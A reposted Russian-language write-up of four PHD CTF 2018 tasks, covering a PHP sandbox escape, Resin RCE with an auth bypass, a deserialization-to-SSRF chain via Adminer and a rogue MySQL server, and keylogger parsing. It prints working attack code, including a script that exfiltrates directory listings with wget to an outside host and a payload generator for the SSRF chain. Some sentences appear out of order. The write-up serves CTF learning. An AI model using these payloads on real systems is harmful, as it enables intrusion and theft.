Главная » Хабрахабр » Positive Hack Days CTF 2018 райтапы заданий: mnogorock, sincity, wowsuchchain, event0

Positive Hack Days CTF 2018 райтапы заданий: mnogorock, sincity, wowsuchchain, event0

Всем привет. Прошел ежегодный PHD CTF и как всегда задачи были очень крутые и интересные! В этом году решил 4 таска. Может показаться что статья очень длинная — но там просто много скриншотов.

mnogorock

Интересный PHP sandbox, конечное решение которого по моему было проще подобрать на шару, т.к. оно очень простое. Но чтобы к нему прийти, нужно было разобраться что происходит. Я к решению пришел сделав нехилый крюк. Еще я не сразу догадался загуглить mongo rock, хотя перестановка букв была очевидна =)

Изначально нам дан URL, по которому возвращается небольшой хинт, что делать дальше.

Собираем POST запрос

Первое что приходит в голову, это инъекция в команду, пробуем вставлять кавычки, бекслеши, параметры в ф-ю inform, изучаем поведение: Видим результат выполнения команды inform().

Видим некую ошибку… А вот если дописать еще букву,

то в конце вываливается закрытие php тега, тоесть инъекцией мы где-то закрываем строку.

Это говорит о том, что перед нами PHP sandbox, где перед выполнением кода происходит токенезация инпута. Загуглив то что капсом (T_ENCAPSED_AND_WHITESPACE) — понимаем что это лексические токены PHP. А т.к. При этом часть токенов запрещена к использованию. это sandbox, инъекция скорей всего неверный вектор.

Например так: Теперь попробуем написать валидные запросы, которые будут пропускаться.

видим что в этом случае вывод произошел дважды, также видим что токен T_CONSTANT_ENCAPSED_STRING (строка в кавычках) разрешен, это оказалось критически важно.

Поэтому дальше я взял полный список PHP токенов (тут) и погонял их в Intruder, чтобы понять, какие разрешены. Вообще тут можно было бы уже и решить все, если бы я знал что пхп позволяет вытворять ТАКИЕ вещи =) Но я не знал. Само собой для таска его немного изменили, но логику прочесть не помешает (Заодно сравнить реальный код с тем псевдокодом в голове, который я составил, изучая поведение программы блекбоксом)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php Затем я решил загуглить «mongo rock» и нашел код песочницы, который использовался для таска.

Смотрим функцию, которая производит токенезацию перед eval’ом кода

private function _runPHP() { $this->_source = "return " . $this->_source . ";"; if (function_exists("token_get_all")) {//tokenizer extension may be disabled $php = "<?php\n" . $this->_source . "\n?>"; $tokens = token_get_all($php);

переменная $php это concat строк, отсюда взялся перенос строки и закрывающий тег в примере выше, когда мы вставили inform()''A. Далее идут 2 проверки, первая проверяет что токен входит список разрешенных:

if (in_array($type, array( T_OPEN_TAG, T_RETURN, T_WHITESPACE,

а вторая — что токены T_STRING имеют допустимые значения:

if ($type == T_STRING) { $func = strtolower($token[1]); if (in_array($func, array( //keywords allowed "mongoid”, ….

T_STRING токены — это ключевые слова языка, в этом списке вероятно была только функция inform(). И дальше если условия прошли, происходит eval() кода. Тоесть вызвать какую либо функцию, передав ее как T_STRING токен не выйдет.

Тут я вспомнил трюки из JS и попробовал сдалать так: Итого мы знаем что разрешено делать вызов функций(но только одной, inform), и строки в кавычках тоже пропускаются.

Осталось только найти флаг, который лежал в файле с рандомным именем в root(/). Вот и решение. Правда не так как дальше… Как я написал в начале, решение очень простое, но не зная тонкостей PHP пришлось повозиться.

sincity

Изначально как обычно дан URL, открываем, видим картинку какого-то города, никаких кнопок нет, поэтому сразу смотрим html код страницы.

Обращаем внимание на какой-то странный массив… Попробуем открыть несуществующую страницу

До этой задачи я даже не знал о существовании такого. И тут видно название очень интересного сервера. Обо всех его фичах я не читал, самое интересное, что надо для таска — resin может интегрировать PHP и Java код (до чего может довести легаси)

Вообщем ничего больше на главной странице не видно, поэтому запускаем dirsearch, либо кто что любит и смотрим что еще валяется на сервере.

Находим и пробуем открыть директорию /dev/, и видим Basic HTTP аутентификацию.

Идея обхода — нужно сделать так, чтобы на nginx директория не попала в регулярку /dev/, которая находиться под basic auth, но при этом чтобы бекенд распарсил URL path как /dev/. Это первая часть таска — обойти Basic HTTP Auth. Я зарядил полный список урл енкодов в Intruder, хотя можно было и сразу догадаться:

Вот так выглядел исходный код страницы в /dev/: Перебрав все 256 байт на месте §param§, находим что при %5с(бекслеш) ответ отличается от исходного, тоесть мы проваливаемся в /dev/.

Это похоже на список файлов текущей директории. Вспоминаем такой же массив на первой странице.

  • task.php~~~edited — это исходник task.php, который типа забыли закрыть в редакторе, и он отдается в браузер плейн текстом.
  • task.php — сценарий который можно выполнять на веб сервере.

Смотрим код task.php:

<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
else{ die('Swimming in the pool after using a bottle of vodka'); }
}
?>

Первое условие — передать такую куку developer_testing_mode, чтобы md5 от нее был равен '0e313373133731337313373133731337'.

Это стандартная PHP ошибка со слабым сравнением. Эту штуку я знал, поэтому прошел быстро. Рекомендую посмотреть тут.

То есть все что нужно для обхода, это найти значение, md5 от которого будет начинаться с байта \x0e. В краце, в PHP сравнение с 2мя знаками равенства(==) считает истинным “0e12345”=“0e54321”. Это можно легко нагуглить.

Второе условие в коде — если будет некий параметр constr длины 4 байта, то выполниться следующее:

$c = new $_GET['constr']($_GET['arg']);

это просто создание объекта класса, если написать попроще то будет примерно так:
$c = new Class(parameter), где мы контролируем название класса и его параметр.

вторая строка

$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);

если переписать попроще, то:
$c->method1()->method2(parameter2) — здесь мы контроллируем названия методов и параметр 2го метода.

Вспоминаем что Resin — интегрирует PHP и Java код(Я вспомнил не сразу, и по началу начал копать в сторону Phar). Очевидно что это RCE и осталось только найти подходящие названия классов.

Решение этого таска фактически лежит в документации Resin:

Payload для RCE выглядит вот так:

Поднимаем в интернете listener для наших запросов, и запускаем на сервере команду, которая отправит нужную информацию на наш listener, с пейлоадом выше будет примерно так: Вывода от команды не будет, поэтому делаем вывод через out-of-band технику.

название файла с флагом мы не знаем, нужно сделать листинг директорий. Т.к. Как полноценный bash работает только в случае массива. Метод класса Runtimeexec() может принимать на вход строку и массив. Поэтому делаем простой баш скрипт: Тогда как мы можем передать только строку.

#!/bin/bash
ls -l > /tmp/adweifmwgfmlkerhbetlbm
ls -l / >> /tmp/adweifmwgfmlkerhbetlbm
wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/

Принимаем у себя на listener список директорий в руте, и дальше считываем флаг. первым запросом загружаем его на сервер с помощью wget -O /tmp/pwn ...., вторым запросом — запускаем.

wowsuchchain

Самый интересный из четырех. Таск называет так, потомучто в нем очень длинная цепочка багов. Я решал его наверное дня 2 и сдал практически в последний момент на пути домой решая из электрички =)

Полезная статья, которая помогает решить этот таск (про сериализацию и магические методы).

В условии дан URL, открываем, видим некий логгер HTTP запросов:

Немного поиграв с параметрами и ничего из этого не получив, запускаем dirsearch:

Гугл сходу выдает SSRF уязвимость и даже сплойт, хотя последний нам не очень нужен. adminer.php — это опенсорсный инструмент для админки БД.

Открыв страницу c adminer видим сообщение:

Обращаем внимание на шлюз локальной сети, он является небольшим хинтом, какой адрес может быть у хоста с установленным Adminer. где нам говорят, что доступ разрешен только с внутренних ресурсов.

index.php.bak — нам дан исходник для решения.

index.php.bak исходник:

Скрытый текст

<?php
session_start();
class MetaInfo { function get_SC(){ return $_SERVER['SCRIPT_NAME']; } function get_CT(){ date_default_timezone_set('UTC'); return date('Y-m-d H:i:s'); } function get_UA(){ return $_SERVER['HTTP_USER_AGENT']; } function get_IP(){ $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)){ $ip = $client; }elseif(filter_var($forward, FILTER_VALIDATE_IP)){ $ip = $forward; }else{ $ip = $remote; } return $ip; }
}
class Logger { private $userdata; private $serverdata; public $ip; function __construct(){ if (!isset($_COOKIE['userdata'])){ $this->userdata = new MetaInfo(); $ip = $this->userdata->get_IP(); $useragent = htmlspecialchars($this->userdata->get_UA()); $serialized = serialize(array($ip,$useragent)); $key = getenv('KEY'); $nonce = md5(time()); $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); setcookie("nonce",$nonce); setcookie("hmac",$crypto_arrow); setcookie("userdata",base64_encode($serialized)); header("Location: /"); } if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) { fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w'); } } function clear(){ if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n")) return "Log file cleaned!"; } function show(){ $data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt'); return $data; } function ahalai($serialized,$uniq_sig){ $magic = $this->mahalai($serialized,$uniq_sig); return $magic; } function mahalai($serialized, $uniq_sig){ return hash_hmac('md5', $serialized,$uniq_sig); } function __destruct(){ if(isset($_COOKIE['userdata'])){ $serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); if($crypto_arrow!==$_COOKIE["hmac"]){ exit; } $this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC(); return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND); } } }
$a = new Logger(); ?> <center>
<pre>
<a href="/">index</a> | <a href="/?act=show">show log</a> | <a href="/?act=clear">clear log</a>
----------------------------------------------------------------------------- <? switch ($_GET['act']) { case 'clear': echo $a->clear(); break; case 'show': echo $a->show(); break; default: echo "This is index page."; break;
}
?>
</pre></center>

Изучаем код. Скрипт создает класс Logger, и затем отдает результаты методов show и clear в зависимости от запроса. Сразу бросаются в глаза места с сериализацией и подписями. Все самое интересное находиться в конструкторе и деструкторе.

Секретный ключ при этом храниться в переменной окружения. В __construct() проиcходит генерация некоторых данных пользователя, и подпись с помощью алгоритма HMAC. Это эмуляция подхода хранения данных сессии на стороне пользователя. После подписи, данные и сама подпись отдаются пользователю. При использовании HMAC, изменить данные и при этом обойти подпись уже не получиться. Например так делает Apache Tapestry и кажется я встречал такой подход еще где-то в ASP фреймворках. Все выглядит безопасно, поэтому переходим к __destructor()

я не сразу увидел баг в проверке подписи в __destruct(), начал решать таск с «середины», запустив скрипт локально и закоментив часть кода с проверкой подписи. Т.к. Но тут все будет по порядку=) И к обходу подписи вернулся в конце.

$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);

Первое на что нужно обратить внимание — мы контролируем переменную nonce, которая без какой либо фильтрации отдается в функцию hash_mac(PHP built-in функция). После чего uniq_sig передается в метод ahalai, который внутри эквивалентен тому же hash_hmac. Из-за отсутсвия фильтрации переменной nonce возникает ошибка, когда наш сериализованный payload может быть подписан не секретным ключом сервера, а пустой строкой. Чтобы понять что происходит я набросал короткий PoC:

<?php $nonce = array('1','2','3','100500'); $uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET"); $crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1); echo "Singature with supasecret: $crypto_arrow1\n"; $uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET"); $crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2); echo "Singature with anothersupasecret: $crypto_arrow2\n"; $crypto_arrow3 = hash_hmac('md5',"ANYDATA",""); echo "Signature with empty string as KEY: $crypto_arrow3\n";
?>

HMAC во всех 3х вариантах будет одинаковый. То есть в случае подписи любого массива любым ключом результат будет пустая строка. А т.к. конечная подпись считается принимая на вход предыдущую подпись, мы получаем hash_hmac(«ANYDATA»,""). А значит мы можем его вычислить перед отправкой запроса.

Итого: чтобы обойти подпись, нужно передать nonce как массив, а передаваемые данные в userdata предварительно подписать пустой строкой, и подпись передать в куке hmac.

Мы знаем, что adminer имеет SSRF уязвимость, а значит в сочетании с rogue_mysql_server можем получить локальное чтение файлов. Следующий шаг — нужно понять, как раскрутить десериализацию, чтобы получить что-то полезное. Значит итоговый вектор должен выглядеть примерно так: SSRF в index.php -> SSRF в adminer.php -> rogue_mysql_server->локальное чтение файлов (плюс были хинты от организаторов про expect и что на сервере есть только nginx+php. Но Adminer доступен только внутренним ресурсам. А название файла с флагом без RCE не найти). Последний — чтобы понять, что нужно эксплуатировать через rogue_mysq_server, expect — видимо очень редкий wrapper что его наличие не всегда проверяют.

Обращаем внимание на следующий участок кода: Раскручиваем SSRF на index.php.

$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();

Тут есть сразу несколько трюков. Трюк первый — в случае если десериализуется объект, будет вызван __destruct() этого объекта (читать статью на Rdot.org). Трюк второй — мы делаем десериализацию уже находясь в деструкторе. Что же будет, если мы попробуем десериализовать объект этого же класса Logger? Тоесть при десериилизации снова вызовется деструктор этого же класса! Вообще я думал что произойдет бесконечный цикл и будет DOS. Но оказалось PHP эту ситуацию обрабатывает корректно. И трюк третий, если мы в процессе десериализации подсунем в приватную переменную serverdata объект, то дальше по коду вызовется метод serverdata->get_CT(). Тут приходит на помощь магический метод __call(), который вызовется в случае обращения к несуществующему методу класса.

SoapClient создаем так, чтобы он сделал запрос на adminer.php с нужными параметрами. По ключевым словам «php class __call ssrf» быстро гуглиться райтап с другого CTF, где можно найти подходящий PHP класс SoapClient и что __call() триггерит soap запрос. Можно было этого и не делать. Я зачем-то установил adminer себе, и начал изучать, что там есть. Финальный код для генерации пейлоадов у меня вышел вот такой:

<?php class Logger { private $userdata; private $serverdata; public $ip; function __construct($iter) { $this->serverdata = new SoapClient(null, array( 'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=", 'uri' => "http://172.17.0.$iter", 'trace' => 1, )); } } for($i=0;$i<=255;$i++) { $payload=serialize(array("127.0.0.1",new Logger($i))); file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND); file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND); } ?>

В краце — мы создаем такой же класс Logger с такими же данными как у исходного в index.php. Но в конструкторе мы присваиваем внутренней приватной переменной serverdata — объект класса SoapClient. Объект SoapClient уже указывает на внутренний ресурс adminer с параметрами для коннекта к нашему серверу с rogue_mysql_server. Цикл по переменной $iter нужен для того, чтобы найти локальный IP сервера adminer. Запрос через localhost блокировался. Вообще у него был IP=172.17.0.3, но я попробовал один и дальше запустил Intruder=) Режим Pitchfork, первый параметр — файл с сигнатурами, 2й — с пейлоадами.

Запускаем с такой конфигурацией: Для приема коннекта у себя на сервере где-то в интернетах запускаем mysq_rogue_server, я взял отсюда.

filelist = ( #'/flag_s0m3_r4nd0m_f1l3n4m3.txt', // это путь к флагу, первый раз мы его не знаем 'expect://ls > /tmp/mfocuz_tmp01', '/tmp/mfocuz_tmp01',
)

Мы не можем отдать rogue серверу вывод от expect, поэтому перенаправляем вывод в файл, и второй командой считываем этот файл.

Запускаем Intruder, смотрим какой IP сработает:

В логе rogue сервера находим вот такое:

2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'

Итоговый запрос из Repeater: Осталось послать еще один запрос, но в Rogue сервере вписать путь к флагу.

event0

Это наверное самая простая задача из всех, что были предложены на CTF. Самое сложное было понять, что это за файл. Сложное — потому что почти все ссылки в гугл указывали на компьютерную игру event[0]. Я заодно почитал что за игра и даже решил пройти. Вообщем из всего этого шума про event[0] нужно было найти информацию о линукс устройствах. В частности про linux USB клавиатуру. То есть event0 файл — результат работы кейлоггера. А дальше все очень просто гуглилось и можно было найти почти готовое решение для таска тут. И заодно открыть документацию по Python библиотеке evdev. Я взял скрипт по ссылке выше и заменил чтение с девайса на чтение из файла. Мой финальный скрипт выглядел вот так:

Скрытый текст

#!/usr/bin/python import pdb import struct import sys
import evdev
from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent CODE_MAP_CHAR = { 'KEY_MINUS': "-", 'KEY_SPACE': " ", 'KEY_U': "U", 'KEY_W': "W", 'KEY_BACKSLASH': "\\", 'KEY_GRAVE': "`", 'KEY_NUMERIC_STAR': "*", 'KEY_NUMERIC_3': "3", 'KEY_NUMERIC_2': "2", 'KEY_NUMERIC_5': "5", 'KEY_NUMERIC_4': "4", 'KEY_NUMERIC_7': "7", 'KEY_NUMERIC_6': "6", 'KEY_NUMERIC_9': "9", 'KEY_NUMERIC_8': "8", 'KEY_NUMERIC_1': "1", 'KEY_NUMERIC_0': "0", 'KEY_E': "E", 'KEY_D': "D", 'KEY_G': "G", 'KEY_F': "F", 'KEY_A': "A", 'KEY_C': "C", 'KEY_B': "B", 'KEY_M': "M", 'KEY_L': "L", 'KEY_O': "O", 'KEY_N': "N", 'KEY_I': "I", 'KEY_H': "H", 'KEY_K': "K", 'KEY_J': "J", 'KEY_Q': "Q", 'KEY_P': "P", 'KEY_S': "S", 'KEY_X': "X", 'KEY_Z': "Z", 'KEY_KP4': "4", 'KEY_KP5': "5", 'KEY_KP6': "6", 'KEY_KP7': "7", 'KEY_KP0': "0", 'KEY_KP1': "1", 'KEY_KP2': "2", 'KEY_KP3': "3", 'KEY_KP8': "8", 'KEY_KP9': "9", 'KEY_5': "5", 'KEY_4': "4", 'KEY_7': "7", 'KEY_6': "6", 'KEY_1': "1", 'KEY_0': "0", 'KEY_3': "3", 'KEY_2': "2", 'KEY_9': "9", 'KEY_8': "8", 'KEY_LEFTBRACE': "[", 'KEY_RIGHTBRACE': "]", 'KEY_COMMA': ",", 'KEY_EQUAL': "=", 'KEY_SEMICOLON': ";", 'KEY_APOSTROPHE': "'", 'KEY_T': "T", 'KEY_V': "V", 'KEY_R': "R", 'KEY_Y': "Y", 'KEY_TAB': "\t", 'KEY_DOT': ".", 'KEY_SLASH': "/", } def parse_key_to_char(val): return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" if __name__ == "__main__": # pdb.set_trace() f=open('/home/w4x/ctf/phd2018/event0',"rb") events=[] e=f.read(24) events.append(e) while e != "": e=f.read(24) events.append(e) for e in events: eBytes = a=struct.unpack("HHHHHHHHHHi",e) event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10]) if event.type == ecodes.EV_KEY: print evdev.categorize(event)

Первые строчки вывода скрипта:

000000, 28 (KEY_ENTER), up
key event at 0. key event at 0. 000000, 47 (KEY_V), up
key event at 0. 000000, 47 (KEY_V), down
key event at 0. 000000, 23 (KEY_I), up
key event at 0. 000000, 23 (KEY_I), down
key event at 0. 000000, 50 (KEY_M), up
key event at 0. 000000, 50 (KEY_M), down
key event at 0. 000000, 57 (KEY_SPACE), up
key event at 0. 000000, 57 (KEY_SPACE), down
key event at 0. 000000, 37 (KEY_K), up
key event at 0. 000000, 37 (KEY_K), down
key event at 0. 000000, 18 (KEY_E), up
key event at 0. 000000, 18 (KEY_E), down
key event at 0. 000000, 21 (KEY_Y), up
key event at 0. 000000, 21 (KEY_Y), down
key event at 0. 000000, 52 (KEY_DOT), up
key event at 0. 000000, 52 (KEY_DOT), down
key event at 0. 000000, 20 (KEY_T), up
key event at 0. 000000, 20 (KEY_T), down
key event at 0. 000000, 45 (KEY_X), up
key event at 0. 000000, 45 (KEY_X), down
key event at 0. 000000, 20 (KEY_T), up

down-up это нажатия клавиш «вниз-вверх». 000000, 20 (KEY_T), down
key event at 0. Vim — это популярный текстовый редактор, который имеет два режима работы, редактирование текста и командный режим. Сразу видим, что запускается команда vim key.txt. Для решения нужно было просто прокликать все те же самые клавиши и получить на выходе флаг. Поэтому не все буквы в логе были реальным текстом.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Google оштрафован на рекордные $5 млрд за нарушение антимонопольного законодательства в Европе

Это самый большой штраф в истории компании. Еврокомиссия закончила многолетнее расследование против Google и потребовала рекордный штраф в 5 миллиардов долларов (4,3 млрд евро). Товары из каталога Google Shop, согласно обвинению, намеренно ставились выше, чем остальные. Прошлый рекордный штраф, кстати, ...

«Яндекс» начал работу над созданием собственной системы «умный дом»

Сегодня стало известно о том, что компания «Яндекс» осенью может представить собственную систему «умный дом». Во всяком случае, она зарегистрировала в странах Евразийского экономического союза устройство «Яндекс.Модуль», о чем сообщает «Коммерсант». Этот девайс был создан американской компанией NotAnotherOne, у истоков ...